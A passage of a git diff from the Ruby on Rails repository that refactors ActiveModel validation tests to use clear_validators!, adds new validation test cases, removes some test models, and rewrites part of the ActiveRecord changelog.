+  def test_further_callbacks_should_be_called_if_after_validation_returns_false
+    d = DogAfterValidatorReturningFalse.new
+    d.valid?
+    assert_equal ['after_validation_marker'], d.history
+  end
+
   def test_validation_test_should_be_done
     d = DogWithMissingName.new
     output = d.valid?
diff --git a/activemodel/test/cases/validations/conditional_validation_test.rb b/activemodel/test/cases/validations/conditional_validation_test.rb
index 41a4c33727..296d3b4407 100644
--- a/activemodel/test/cases/validations/conditional_validation_test.rb
+++ b/activemodel/test/cases/validations/conditional_validation_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'cases/helper'
 
 require 'models/topic'
@@ -6,7 +5,7 @@ require 'models/topic'
 class ConditionalValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_if_validation_using_method_true
@@ -23,7 +22,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
     Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_true)
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_if_validation_using_method_false
@@ -31,7 +30,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
     Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true_but_its_not)
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_unless_validation_using_method_false
@@ -57,7 +56,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
     Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: "a = 1; a == 1")
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_if_validation_using_string_false
@@ -65,7 +64,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
     Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: "false")
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_unless_validation_using_string_false
@@ -93,7 +92,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
       unless: Proc.new { |r| r.content.size > 4 })
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_if_validation_using_block_false
@@ -102,7 +101,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
       if: Proc.new { |r| r.title != "uhohuhoh"})
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_unless_validation_using_block_false
@@ -124,7 +123,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
 
     t = Topic.new
     assert t.invalid?, "A topic without a title should not be valid"
-    assert t.errors[:author_name].empty?, "A topic without an 'important' title should not require an author"
+    assert_empty t.errors[:author_name], "A topic without an 'important' title should not require an author"
 
     t.title = "Just a title"
     assert t.valid?, "A topic with a basic title should be valid"
diff --git a/activemodel/test/cases/validations/confirmation_validation_test.rb b/activemodel/test/cases/validations/confirmation_validation_test.rb
index f03de2c24a..c1431548f7 100644
--- a/activemodel/test/cases/validations/confirmation_validation_test.rb
+++ b/activemodel/test/cases/validations/confirmation_validation_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'cases/helper'
 
 require 'models/topic'
@@ -7,7 +6,7 @@ require 'models/person'
 class ConfirmationValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_no_title_confirmation
@@ -49,26 +48,29 @@ class ConfirmationValidationTest < ActiveModel::TestCase
     p.karma = "None"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 
   def test_title_confirmation_with_i18n_attribute
-    @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
-    I18n.load_path.clear
-    I18n.backend = I18n::Backend::Simple.new
-    I18n.backend.store_translations('en', {
-      errors: { messages: { confirmation: "doesn't match %{attribute}" } },
-      activemodel: { attributes: { topic: { title: 'Test Title'} } }
-    })
-
-    Topic.validates_confirmation_of(:title)
-
-    t = Topic.new("title" => "We should be confirmed","title_confirmation" => "")
-    assert t.invalid?
-    assert_equal ["doesn't match Test Title"], t.errors[:title_confirmation]
-
-    I18n.load_path.replace @old_load_path
-    I18n.backend = @old_backend
+    begin
+      @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+      I18n.load_path.clear
+      I18n.backend = I18n::Backend::Simple.new
+      I18n.backend.store_translations('en', {
+        errors: { messages: { confirmation: "doesn't match %{attribute}" } },
+        activemodel: { attributes: { topic: { title: 'Test Title'} } }
+      })
+
+      Topic.validates_confirmation_of(:title)
+
+      t = Topic.new("title" => "We should be confirmed","title_confirmation" => "")
+      assert t.invalid?
+      assert_equal ["doesn't match Test Title"], t.errors[:title_confirmation]
+    ensure
+      I18n.load_path.replace @old_load_path
+      I18n.backend = @old_backend
+      I18n.backend.reload!
+    end
   end
 
   test "does not override confirmation reader if present" do
diff --git a/activemodel/test/cases/validations/exclusion_validation_test.rb b/activemodel/test/cases/validations/exclusion_validation_test.rb
index 81455ba519..b269c3691a 100644
--- a/activemodel/test/cases/validations/exclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/exclusion_validation_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'cases/helper'
 
 require 'models/topic'
@@ -7,7 +6,7 @@ require 'models/person'
 class ExclusionValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_validates_exclusion_of
@@ -50,7 +49,7 @@ class ExclusionValidationTest < ActiveModel::TestCase
     p.karma = "Lifo"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 
   def test_validates_exclusion_of_with_lambda
@@ -87,6 +86,6 @@ class ExclusionValidationTest < ActiveModel::TestCase
 
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 end
diff --git a/activemodel/test/cases/validations/format_validation_test.rb b/activemodel/test/cases/validations/format_validation_test.rb
index 26e8dbf19c..86bbbe6ebe 100644
--- a/activemodel/test/cases/validations/format_validation_test.rb
+++ b/activemodel/test/cases/validations/format_validation_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'cases/helper'
 
 require 'models/topic'
@@ -7,7 +6,7 @@ require 'models/person'
 class PresenceValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_validate_format
@@ -68,11 +67,11 @@ class PresenceValidationTest < ActiveModel::TestCase
     assert t.invalid?
     assert_equal ["can't be Invalid title"], t.errors[:title]
   end
-  
+
   def test_validate_format_of_with_multiline_regexp_should_raise_error
     assert_raise(ArgumentError) { Topic.validates_format_of(:title, with: /^Valid Title$/) }
   end
-  
+
   def test_validate_format_of_with_multiline_regexp_and_option
     assert_nothing_raised(ArgumentError) do
       Topic.validates_format_of(:title, with: /^Valid Title$/, multiline: true)
@@ -144,6 +143,6 @@ class PresenceValidationTest < ActiveModel::TestCase
     p.karma = "1234"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 end
diff --git a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
index 40a5aee997..3eeb80a48b 100644
--- a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -4,7 +4,7 @@ require 'models/person'
 
 class I18nGenerateMessageValidationTest < ActiveModel::TestCase
   def setup
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
     @person = Person.new
   end
 
@@ -72,28 +72,40 @@ class I18nGenerateMessageValidationTest < ActiveModel::TestCase
   end
 
   # validates_length_of: generate_message(attr, :too_long, message: custom_message, count: option_value.end)
-  def test_generate_message_too_long_with_default_message
+  def test_generate_message_too_long_with_default_message_plural
     assert_equal "is too long (maximum is 10 characters)", @person.errors.generate_message(:title, :too_long, count: 10)
   end
 
+  def test_generate_message_too_long_with_default_message_singular
+    assert_equal "is too long (maximum is 1 character)", @person.errors.generate_message(:title, :too_long, count: 1)
+  end
+
   def test_generate_message_too_long_with_custom_message
     assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_long, message: 'custom message %{count}', count: 10)
   end
 
   # validates_length_of: generate_message(attr, :too_short, default: custom_message, count: option_value.begin)
-  def test_generate_message_too_short_with_default_message
+  def test_generate_message_too_short_with_default_message_plural
     assert_equal "is too short (minimum is 10 characters)", @person.errors.generate_message(:title, :too_short, count: 10)
   end
 
+  def test_generate_message_too_short_with_default_message_singular
+    assert_equal "is too short (minimum is 1 character)", @person.errors.generate_message(:title, :too_short, count: 1)
+  end
+
   def test_generate_message_too_short_with_custom_message
     assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_short, message: 'custom message %{count}', count: 10)
   end
 
   # validates_length_of: generate_message(attr, :wrong_length, message: custom_message, count: option_value)
-  def test_generate_message_wrong_length_with_default_message
+  def test_generate_message_wrong_length_with_default_message_plural
     assert_equal "is the wrong length (should be 10 characters)", @person.errors.generate_message(:title, :wrong_length, count: 10)
   end
 
+  def test_generate_message_wrong_length_with_default_message_singular
+    assert_equal "is the wrong length (should be 1 character)", @person.errors.generate_message(:title, :wrong_length, count: 1)
+  end
+
   def test_generate_message_wrong_length_with_custom_message
     assert_equal 'custom message 10', @person.errors.generate_message(:title, :wrong_length, message: 'custom message %{count}', count: 10)
   end
diff --git a/activemodel/test/cases/validations/i18n_validation_test.rb b/activemodel/test/cases/validations/i18n_validation_test.rb
index e29771d6b7..70ee7afecc 100644
--- a/activemodel/test/cases/validations/i18n_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_validation_test.rb
@@ -1,12 +1,10 @@
-# -*- coding: utf-8 -*-
-
 require "cases/helper"
 require 'models/person'
 
 class I18nValidationTest < ActiveModel::TestCase
 
   def setup
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
     @person = Person.new
 
     @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
@@ -16,9 +14,10 @@ class I18nValidationTest < ActiveModel::TestCase
   end
 
   def teardown
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
     I18n.load_path.replace @old_load_path
     I18n.backend = @old_backend
+    I18n.backend.reload!
   end
 
   def test_full_message_encoding
diff --git a/activemodel/test/cases/validations/inclusion_validation_test.rb b/activemodel/test/cases/validations/inclusion_validation_test.rb
index 01a373d85d..55d1fb4dcb 100644
--- a/activemodel/test/cases/validations/inclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/inclusion_validation_test.rb
@@ -1,5 +1,5 @@
-# encoding: utf-8
 require 'cases/helper'
+require 'active_support/all'
 
 require 'models/topic'
 require 'models/person'
@@ -7,7 +7,7 @@ require 'models/person'
 class InclusionValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_validates_inclusion_of_range
@@ -20,6 +20,27 @@ class InclusionValidationTest < ActiveModel::TestCase
     assert Topic.new("title" => "bbb", "content" => "abc").valid?
   end
 
+  def test_validates_inclusion_of_time_range
+    Topic.validates_inclusion_of(:created_at, in: 1.year.ago..Time.now)
+    assert Topic.new(title: 'aaa', created_at: 2.years.ago).invalid?
+    assert Topic.new(title: 'aaa', created_at: 3.months.ago).valid?
+    assert Topic.new(title: 'aaa', created_at: 37.weeks.from_now).invalid?
+  end
+
+  def test_validates_inclusion_of_date_range
+    Topic.validates_inclusion_of(:created_at, in: 1.year.until(Date.today)..Date.today)
+    assert Topic.new(title: 'aaa', created_at: 2.years.until(Date.today)).invalid?
+    assert Topic.new(title: 'aaa', created_at: 3.months.until(Date.today)).valid?
+    assert Topic.new(title: 'aaa', created_at: 37.weeks.since(Date.today)).invalid?
+  end
+
+  def test_validates_inclusion_of_date_time_range
+    Topic.validates_inclusion_of(:created_at, in: 1.year.until(DateTime.current)..DateTime.current)
+    assert Topic.new(title: 'aaa', created_at: 2.years.until(DateTime.current)).invalid?
+    assert Topic.new(title: 'aaa', created_at: 3.months.until(DateTime.current)).valid?
+    assert Topic.new(title: 'aaa', created_at: 37.weeks.since(DateTime.current)).invalid?
+  end
+
   def test_validates_inclusion_of
     Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ))
 
@@ -83,7 +104,7 @@ class InclusionValidationTest < ActiveModel::TestCase
     p.karma = "monkey"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 
   def test_validates_inclusion_of_with_lambda
@@ -120,6 +141,6 @@ class InclusionValidationTest < ActiveModel::TestCase
 
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 end
diff --git a/activemodel/test/cases/validations/length_validation_test.rb b/activemodel/test/cases/validations/length_validation_test.rb
index 8b2f886cc4..29130ce46c 100644
--- a/activemodel/test/cases/validations/length_validation_test.rb
+++ b/activemodel/test/cases/validations/length_validation_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'cases/helper'
 
 require 'models/topic'
@@ -6,7 +5,7 @@ require 'models/person'
 
 class LengthValidationTest < ActiveModel::TestCase
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_validates_length_of_with_allow_nil
@@ -354,7 +353,7 @@ class LengthValidationTest < ActiveModel::TestCase
     p.karma = "The Smiths"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 
   def test_validates_length_of_for_infinite_maxima
diff --git a/activemodel/test/cases/validations/numericality_validation_test.rb b/activemodel/test/cases/validations/numericality_validation_test.rb
index 84332ed014..05432abaff 100644
--- a/activemodel/test/cases/validations/numericality_validation_test.rb
+++ b/activemodel/test/cases/validations/numericality_validation_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'cases/helper'
 
 require 'models/topic'
@@ -9,7 +8,7 @@ require 'bigdecimal'
 class NumericalityValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   NIL = [nil]
@@ -50,6 +49,21 @@ class NumericalityValidationTest < ActiveModel::TestCase
     valid!(NIL + INTEGERS)
   end
 
+  def test_validates_numericality_of_with_integer_only_and_symbol_as_value
+    Topic.validates_numericality_of :approved, only_integer: :condition_is_true_but_its_not
+
+    invalid!(NIL + BLANK + JUNK)
+    valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
+  def test_validates_numericality_of_with_integer_only_and_proc_as_value
+    Topic.send(:define_method, :allow_only_integers?, lambda { false })
+    Topic.validates_numericality_of :approved, only_integer: Proc.new(&:allow_only_integers?)
+
+    invalid!(NIL + BLANK + JUNK)
+    valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
   def test_validates_numericality_with_greater_than
     Topic.validates_numericality_of :approved, greater_than: 10
 
@@ -115,10 +129,11 @@ class NumericalityValidationTest < ActiveModel::TestCase
 
   def test_validates_numericality_with_proc
     Topic.send(:define_method, :min_approved, lambda { 5 })
-    Topic.validates_numericality_of :approved, greater_than_or_equal_to: Proc.new {|topic| topic.min_approved }
+    Topic.validates_numericality_of :approved, greater_than_or_equal_to: Proc.new(&:min_approved)
 
     invalid!([3, 4])
     valid!([5, 6])
+  ensure
     Topic.send(:remove_method, :min_approved)
   end
 
@@ -128,6 +143,7 @@ class NumericalityValidationTest < ActiveModel::TestCase
 
     invalid!([6])
     valid!([4, 5])
+  ensure
     Topic.send(:remove_method, :max_approved)
   end
 
@@ -157,7 +173,7 @@ class NumericalityValidationTest < ActiveModel::TestCase
     p.karma = "1234"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 
   def test_validates_numericality_with_invalid_args
diff --git a/activemodel/test/cases/validations/presence_validation_test.rb b/activemodel/test/cases/validations/presence_validation_test.rb
index 2f228cfa83..59b9db0795 100644
--- a/activemodel/test/cases/validations/presence_validation_test.rb
+++ b/activemodel/test/cases/validations/presence_validation_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'cases/helper'
 
 require 'models/topic'
@@ -8,9 +7,9 @@ require 'models/custom_reader'
 class PresenceValidationTest < ActiveModel::TestCase
 
   teardown do
-    Topic.reset_callbacks(:validate)
-    Person.reset_callbacks(:validate)
-    CustomReader.reset_callbacks(:validate)
+    Topic.clear_validators!
+    Person.clear_validators!
+    CustomReader.clear_validators!
   end
 
   def test_validate_presences
diff --git a/activemodel/test/cases/validations/validates_test.rb b/activemodel/test/cases/validations/validates_test.rb
index c1914b32bc..04101f3545 100644
--- a/activemodel/test/cases/validations/validates_test.rb
+++ b/activemodel/test/cases/validations/validates_test.rb
@@ -1,9 +1,7 @@
-# encoding: utf-8
 require 'cases/helper'
 require 'models/person'
 require 'models/topic'
 require 'models/person_with_validator'
-require 'validators/email_validator'
 require 'validators/namespace/email_validator'
 
 class ValidatesTest < ActiveModel::TestCase
@@ -11,9 +9,9 @@ class ValidatesTest < ActiveModel::TestCase
   teardown :reset_callbacks
 
   def reset_callbacks
-    Person.reset_callbacks(:validate)
-    Topic.reset_callbacks(:validate)
-    PersonWithValidator.reset_callbacks(:validate)
+    Person.clear_validators!
+    Topic.clear_validators!
+    PersonWithValidator.clear_validators!
   end
 
   def test_validates_with_messages_empty
diff --git a/activemodel/test/cases/validations/validations_context_test.rb b/activemodel/test/cases/validations/validations_context_test.rb
index 5f99b320a6..150dce379f 100644
--- a/activemodel/test/cases/validations/validations_context_test.rb
+++ b/activemodel/test/cases/validations/validations_context_test.rb
@@ -1,13 +1,10 @@
-# encoding: utf-8
 require 'cases/helper'
 
 require 'models/topic'
 
 class ValidationsContextTest < ActiveModel::TestCase
-
   def teardown
-    Topic.reset_callbacks(:validate)
-    Topic._validators.clear
+    Topic.clear_validators!
   end
 
   ERROR_MESSAGE = "Validation error from validator"
@@ -36,4 +33,17 @@ class ValidationsContextTest < ActiveModel::TestCase
     assert topic.invalid?(:create), "Validation does run on create if 'on' is set to create"
     assert topic.errors[:base].include?(ERROR_MESSAGE)
   end
+
+  test "with a class that adds errors on multiple contexts and validating a new model" do
+    Topic.validates_with(ValidatorThatAddsErrors, on: [:context1, :context2])
+
+    topic = Topic.new
+    assert topic.valid?, "Validation ran with no context given when 'on' is set to context1 and context2"
+
+    assert topic.invalid?(:context1), "Validation did not run on context1 when 'on' is set to context1 and context2"
+    assert topic.errors[:base].include?(ERROR_MESSAGE)
+
+    assert topic.invalid?(:context2), "Validation did not run on context2 when 'on' is set to context1 and context2"
+    assert topic.errors[:base].include?(ERROR_MESSAGE)
+  end
 end
diff --git a/activemodel/test/cases/validations/with_validation_test.rb b/activemodel/test/cases/validations/with_validation_test.rb
index 93716f1433..01804032f0 100644
--- a/activemodel/test/cases/validations/with_validation_test.rb
+++ b/activemodel/test/cases/validations/with_validation_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'cases/helper'
 
 require 'models/topic'
@@ -6,8 +5,7 @@ require 'models/topic'
 class ValidatesWithTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
-    Topic._validators.clear
+    Topic.clear_validators!
   end
 
   ERROR_MESSAGE = "Validation error from validator"
diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb
index 039b6b8872..dc125bc884 100644
--- a/activemodel/test/cases/validations_test.rb
+++ b/activemodel/test/cases/validations_test.rb
@@ -1,36 +1,27 @@
-# encoding: utf-8
 require 'cases/helper'
 
 require 'models/topic'
 require 'models/reply'
 require 'models/custom_reader'
-require 'models/automobile'
 
 require 'active_support/json'
 require 'active_support/xml_mini'
 
 class ValidationsTest < ActiveModel::TestCase
-
   class CustomStrictValidationException < StandardError; end
 
-  def setup
-    Topic._validators.clear
-  end
-
-  # Most of the tests mess with the validations of Topic, so lets repair it all the time.
-  # Other classes we mess with will be dealt with in the specific tests
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_single_field_validation
     r = Reply.new
     r.title = "There's no content!"
-    assert r.invalid?, "A reply without content shouldn't be savable"
+    assert r.invalid?, "A reply without content should be invalid"
     assert r.after_validation_performed, "after_validation callback should be called"
 
     r.content = "Messa content!"
-    assert r.valid?, "A reply with content should be savable"
+    assert r.valid?, "A reply with content should be valid"
     assert r.after_validation_performed, "after_validation callback should be called"
   end
 
@@ -146,6 +137,8 @@ class ValidationsTest < ActiveModel::TestCase
     assert_equal 4, hits
     assert_equal %w(gotcha gotcha), t.errors[:title]
     assert_equal %w(gotcha gotcha), t.errors[:content]
+  ensure
+    CustomReader.clear_validators!
   end
 
   def test_validate_block
@@ -172,6 +165,50 @@ class ValidationsTest < ActiveModel::TestCase
     end
   end
 
+  def test_invalid_options_to_validate
+    error = assert_raises(ArgumentError) do
+      # A common mistake -- we meant to call 'validates'
+      Topic.validate :title, presence: true
+    end
+    message = 'Unknown key: :presence. Valid keys are: :on, :if, :unless, :prepend. Perhaps you meant to call `validates` instead of `validate`?'
+    assert_equal message, error.message
+  end
+
+  def test_callback_options_to_validate
+    klass = Class.new(Topic) do
+      attr_reader :call_sequence
+
+      def initialize(*)
+        super
+        @call_sequence = []
+      end
+
+      private
+        def validator_a
+          @call_sequence << :a
+        end
+
+        def validator_b
+          @call_sequence << :b
+        end
+
+        def validator_c
+          @call_sequence << :c
+        end
+    end
+
+    assert_nothing_raised do
+      klass.validate :validator_a, if: ->{ true }
+      klass.validate :validator_b, prepend: true
+      klass.validate :validator_c, unless: ->{ true }
+    end
+
+    t = klass.new
+
+    assert_predicate t, :valid?
+    assert_equal [:b, :a], t.call_sequence
+  end
+
   def test_errors_conversions
     Topic.validates_presence_of %w(title content)
     t = Topic.new
@@ -279,7 +316,7 @@ class ValidationsTest < ActiveModel::TestCase
       ActiveModel::Validations::FormatValidator,
       ActiveModel::Validations::LengthValidator,
       ActiveModel::Validations::PresenceValidator
-    ], validators.map { |v| v.class }.sort_by { |c| c.to_s }
+    ], validators.map(&:class).sort_by(&:to_s)
   end
 
   def test_list_of_validators_will_be_empty_when_empty
@@ -288,15 +325,30 @@ class ValidationsTest < ActiveModel::TestCase
   end
 
   def test_validations_on_the_instance_level
-    auto = Automobile.new
+    Topic.validates :title, :author_name, presence: true
+    Topic.validates :content, length: { minimum: 10 }
 
-    assert          auto.invalid?
-    assert_equal 2, auto.errors.size
+    topic = Topic.new
+    assert topic.invalid?
+    assert_equal 3, topic.errors.size
 
-    auto.make  = 'Toyota'
-    auto.model = 'Corolla'
+    topic.title = 'Some Title'
+    topic.author_name = 'Some Author'
+    topic.content = 'Some Content Whose Length is more than 10.'
+    assert topic.valid?
+  end
+
+  def test_validate
+    Topic.validate do
+      validates_presence_of :title, :author_name
+      validates_length_of :content, minimum: 10
+    end
 
-    assert auto.valid?
+    topic = Topic.new
+    assert_empty topic.errors
+
+    topic.validate
+    assert_not_empty topic.errors
   end
 
   def test_strict_validation_in_validates
@@ -373,25 +425,4 @@ class ValidationsTest < ActiveModel::TestCase
     assert topic.invalid?
     assert duped.valid?
   end
-
-   # validator test:
-  def test_setup_is_deprecated_but_still_receives_klass # TODO: remove me in 4.2.
-    validator_class = Class.new(ActiveModel::Validator) do
-      def setup(klass)
-        @old_klass = klass
-      end
-
-      def validate(*)
-        @old_klass == Topic or raise "#setup didn't work"
-      end
-    end
-
-    assert_deprecated do
-      Topic.validates_with validator_class
-    end
-
-    t = Topic.new
-    t.valid?
-  end
-
 end
diff --git a/activemodel/test/models/administrator.rb b/activemodel/test/models/administrator.rb
deleted file mode 100644
index 2f3aff290c..0000000000
--- a/activemodel/test/models/administrator.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Administrator
-  extend ActiveModel::Callbacks
-  include ActiveModel::Validations
-  include ActiveModel::SecurePassword
-
-  define_model_callbacks :create
-
-  attr_accessor :name, :password_digest
-
-  has_secure_password
-end
diff --git a/activemodel/test/models/automobile.rb b/activemodel/test/models/automobile.rb
deleted file mode 100644
index ece644c40c..0000000000
--- a/activemodel/test/models/automobile.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class Automobile
-  include ActiveModel::Validations
-
-  validate :validations
-
-  attr_accessor :make, :model
-
-  def validations
-    validates_presence_of :make
-    validates_length_of   :model, within: 2..10
-  end
-end
diff --git a/activemodel/test/models/contact.rb b/activemodel/test/models/contact.rb
index c25be28e1d..bcfd267a34 100644
--- a/activemodel/test/models/contact.rb
+++ b/activemodel/test/models/contact.rb
@@ -1,8 +1,13 @@
 class Contact
   extend ActiveModel::Naming
   include ActiveModel::Conversion
+  include ActiveModel::Validations
+
+  include ActiveModel::Serializers::JSON
+  include ActiveModel::Serializers::Xml
 
   attr_accessor :id, :name, :age, :created_at, :awesome, :preferences
+  attr_accessor :address, :friends, :contact
 
   def social
     %w(twitter github)
@@ -23,4 +28,14 @@ class Contact
   def persisted?
     id
   end
+
+  def attributes=(hash)
+    hash.each do |k, v|
+      instance_variable_set("@#{k}", v)
+    end
+  end
+
+  def attributes
+    instance_values.except("address", "friends", "contact")
+  end
 end
diff --git a/activemodel/test/models/oauthed_user.rb b/activemodel/test/models/oauthed_user.rb
deleted file mode 100644
index 9750bc19d4..0000000000
--- a/activemodel/test/models/oauthed_user.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class OauthedUser
-  extend ActiveModel::Callbacks
-  include ActiveModel::Validations
-  include ActiveModel::SecurePassword
-  
-  define_model_callbacks :create
-
-  has_secure_password(validations: false)
-
-  attr_accessor :password_digest, :password_salt
-end
diff --git a/activemodel/test/models/topic.rb b/activemodel/test/models/topic.rb
index c9af78f595..1411a093e9 100644
--- a/activemodel/test/models/topic.rb
+++ b/activemodel/test/models/topic.rb
@@ -6,7 +6,7 @@ class Topic
     super | [ :message ]
   end
 
-  attr_accessor :title, :author_name, :content, :approved
+  attr_accessor :title, :author_name, :content, :approved, :created_at
   attr_accessor :after_validation_performed
 
   after_validation :perform_after_validation
diff --git a/activemodel/test/models/user.rb b/activemodel/test/models/user.rb
index 4b11df12bf..1ec6001c48 100644
--- a/activemodel/test/models/user.rb
+++ b/activemodel/test/models/user.rb
@@ -1,11 +1,10 @@
 class User
   extend ActiveModel::Callbacks
-  include ActiveModel::Validations
   include ActiveModel::SecurePassword
   
   define_model_callbacks :create
 
   has_secure_password
 
-  attr_accessor :password_digest, :password_salt
+  attr_accessor :password_digest
 end
diff --git a/activemodel/test/models/visitor.rb b/activemodel/test/models/visitor.rb
index 4d7f4be097..22ad1a3c3d 100644
--- a/activemodel/test/models/visitor.rb
+++ b/activemodel/test/models/visitor.rb
@@ -1,6 +1,5 @@
 class Visitor
   extend ActiveModel::Callbacks
-  include ActiveModel::Validations
   include ActiveModel::SecurePassword
 
   define_model_callbacks :create
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
index c7928e503b..16f3f47d29 100644
--- a/activerecord/CHANGELOG.md
+++ b/activerecord/CHANGELOG.md
@@ -1,653 +1,524 @@
-*   Fix PredicateBuilder so polymorhic association keys in `where` clause can
-    also accept not only `ActiveRecord::Base` direct descendances (decorated
-    models, for example).
+*   Allow `:precision` option for time type columns.
 
-    *Mikhail Dieterle*
+    *Ryuta Kamizono*
 
-*   PostgreSQL adapter recognizes negative money values formatted with
-    parentheses (eg. `($1.25) # => -1.25`)).
-    Fixes #11899.
+*   Have `enum` perform type casting consistently with the rest of Active
+    Record, such as `where`.
 
-    *Yves Senn*
-
-*   Stop interpreting SQL 'string' columns as :string type because there is no
-    common STRING datatype in SQL.
-
-    *Ben Woosley*
-
-*   `ActiveRecord::FinderMethods#exists?` returns `true`/`false` in all cases.
-
-    *Xavier Noria*
-
-*   Assign inet/cidr attribute with `nil` value for invalid address.
-
-    Example:
-
-        record = User.new
-        record.logged_in_from_ip # is type of an inet or a cidr
-
-        # Before:
-        record.logged_in_from_ip = 'bad ip address' # raise exception
-
-        # After:
-        record.logged_in_from_ip = 'bad ip address' # do not raise exception
-        record.logged_in_from_ip # => nil
-        record.logged_in_from_ip_before_type_cast # => 'bad ip address'
-
-    *Paul Nikitochkin*
-
-*   `add_to_target` now accepts a second optional `skip_callbacks` argument
-
-    If truthy, it will skip the :before_add and :after_add callbacks.
-
-    *Ben Woosley*
-
-*   Fix interactions between `:before_add` callbacks and nested attributes
-    assignment of `has_many` associations, when the association was not
-    yet loaded:
-
-    - A `:before_add` callback was being called when a nested attributes
-      assignment assigned to an existing record.
-
-    - Nested Attributes assignment did not affect the record in the
-      association target when a `:before_add` callback triggered the
-      loading of the association
-
-    *Jörg Schray*
-
-*   Allow enable_extension migration method to be revertible.
+    *Sean Griffin*
 
-    *Eric Tipton*
+*   `scoping` no longer pollutes the current scope of sibling classes when using
+    STI. e.x.
 
-*   Type cast hstore values on write, so that the value is consistent
-    with reading from the database.
-
-    Example:
-
-        x = Hstore.new tags: {"bool" => true, "number" => 5}
+    StiOne.none.scoping do
+      StiTwo.all
+    end
 
-        # Before:
-        x.tags # => {"bool" => true, "number" => 5}
+    Fixes #18806.
 
-        # After:
-        x.tags # => {"bool" => "true", "number" => "5"}
+    *Sean Griffin*
 
-    *Yves Senn* , *Severin Schoepke*
